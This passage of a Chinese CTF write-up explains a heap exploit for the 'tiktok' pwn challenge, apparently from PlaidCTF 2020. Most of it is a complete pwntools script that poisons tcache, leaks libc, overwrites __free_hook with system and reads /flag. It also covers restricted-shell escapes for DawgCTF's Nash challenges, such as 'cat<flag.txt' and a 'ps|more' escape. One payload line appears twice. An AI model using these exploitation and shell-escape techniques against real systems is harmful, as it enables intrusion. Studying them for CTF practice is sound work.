劫持Tcache Bin

我们发现Animal/blahblah.txt将会申请0x660大小的chunk,而Animal/animal.txt将会申请0x3B0大小的chunk。那么我们若先申请一个0x660大小的chunk,再申请一个0x3B0大小的chunk,然后依次释放,然后使用那个堆溢出漏洞,我们将可以直接劫持Tcache Bin结构。

那么我们首先构造如下Payload

import_song(sh,'Animal/blahblah.txt')  # 45
import_song(sh,'Animal/animal.txt')    # 46

play_song(sh,45)
play_song(sh,46)

remove_song(sh,45)
remove_song(sh,46)

劫持songs

接下来我们不要忘了,在程序malloc之后,会随即调用memset函数进行chunk的清空,这本是防止遗留数据被非法读取的保护逻辑,但在此处,反而可以成为我们利用的后门。若我们将Chunk 46fd指针篡改为A,当我们从Tcache中取回Fake_chunk时,程序将会擦除AA + 0x3B3之间的所有数据。那么我们期望它擦除后恰好有一个song呈现仅fdpath被擦除的状态。这其实很好计算 \mathbf{0x3B3} = 16 \times \mathbf{0x38} + 24 + \mathbf{0x18} + 3 若我们指定Asongs[0].dir,那么,songs[17]就是符合条件的song

构造如下Payload

play_song(sh,44,-1,'\x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
       play_song(sh,44,-1,'\x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
play_song(sh,43)

fake_songs  = ......

play_song(sh,18,fake_songs)

fake_songs的内容将会被整体写入songs列表中。

劫持了songs后续利用就比较常规了,只需要注意两个原则:

  1. 🚫禁止free掉一个fd0Chunk,这会导致stdin被关闭。
  2. Tcache bin0x3C0链表已被损坏,不要使用这个链表。

Final Exploit

from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

tiktok=ELF('./tiktok', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./tiktok")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./tiktok")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def Multi_Attack():
    # testnokill.__main__()
    return

def import_song(sh,path):
    sh.recvuntil('Choice: ')
    sh.sendline('1')
    sh.recvuntil('Please provide the entire file path.')
    sh.send(path)

def list_playlist(sh):
    sh.recvuntil('Choice: ')
    sh.sendline('2')

def play_song(sh,index,size=None,content=None):
    sh.recvuntil('Choice: ')
    sh.sendline('3')
    sh.recvuntil('Choice: ')
    sh.sendline(str(index))
    if size:
        sleep(0.5)
        sh.sendline(str(size))
    if content:
        sleep(0.5)
        sh.send(content)

def remove_song(sh,index):
    sh.recvuntil('Choice: ')
    sh.sendline('4')
    sh.recvuntil('Choice: ')
    sh.sendline(str(index))

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        for i in range(3,0x2E):
            import_song(sh,'Animal/animal.txt')
        import_song(sh,'Animal/'.ljust(0x18,'/'))


        import_song(sh,'Animal/blahblah.txt')  # 45
        import_song(sh,'Animal/animal.txt')    # 46

        play_song(sh,45)
        play_song(sh,46)

        remove_song(sh,45)
        remove_song(sh,46)


        play_song(sh,44,-1,'\x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
        play_song(sh,43)

        fake_songs  = '\x00' * 8 + p64(0x404457) + p64(0)

        fake_songs += 'A' * 0x18                # fake_path
        fake_songs += p64(4)                    # fake_fd
        fake_songs += p64(tiktok.got['puts'])   # fake_dir
        fake_songs += p64(tiktok.got['puts'])   # fake_name
        fake_songs += p64(0)                    # fake_content

        fake_songs += p64(0) + p64(0)           # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(5)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0x404150)             # fake_content

        fake_songs += p64(0) + p64(0)           # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(6)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0x404150)             # fake_content

        fake_songs += p64(0) + p64(0x21)        # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(0)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0)                    # fake_content

        fake_songs += p64(0) + p64(0x21)        # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(0)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0)                    # fake_content

        fake_songs += p64(0) + p64(0x21)        # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(0)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0)                    # fake_content

        fake_songs += p64(0) + p64(0x21)        # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(10)                   # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0x401050)             # fake_content

        play_song(sh,18,fake_songs)
        list_playlist(sh)

        puts_addr = 0
        sh.recvuntil('2. ')
        data = sh.recvuntil('-',drop=True)
        for i in data[::-1]:
            puts_addr  = puts_addr << 8
            puts_addr += ord(i)
        libc.address = puts_addr - libc.symbols['puts']
        success('The libc base address is ' + str(hex(libc.address)))


        remove_song(sh,3)
        remove_song(sh,4)
        play_song(sh,5,0x8,p64(libc.symbols['__free_hook']))
        play_song(sh,6,0x8,'/bin/sh')
        play_song(sh,7,0x8,p64(libc.symbols['system']))
        remove_song(sh,6)
        flag=get_flag(sh)
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x05 [2020 DawgCTF 2020] Nash/Nash2

题目类型:Pwn

题目的逻辑十分简单,在Nash中,程序限制了我们在shell中使用空格,这里我们可以使用<将我们的flag文件重定向到命令中,即cat<flag.txt。在Nash2中,程序限制了我们在shell中使用空格以及<,那么我们可以使用ps|more就可以进入more的交互环境中,在那之后我们就可以使用!'sh' flag.txt读取flag文件。

0x06 参考链接

【原】PlaidCTF 2020 Writeups – Hatena

【原】dawgctf-2020-writeups

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注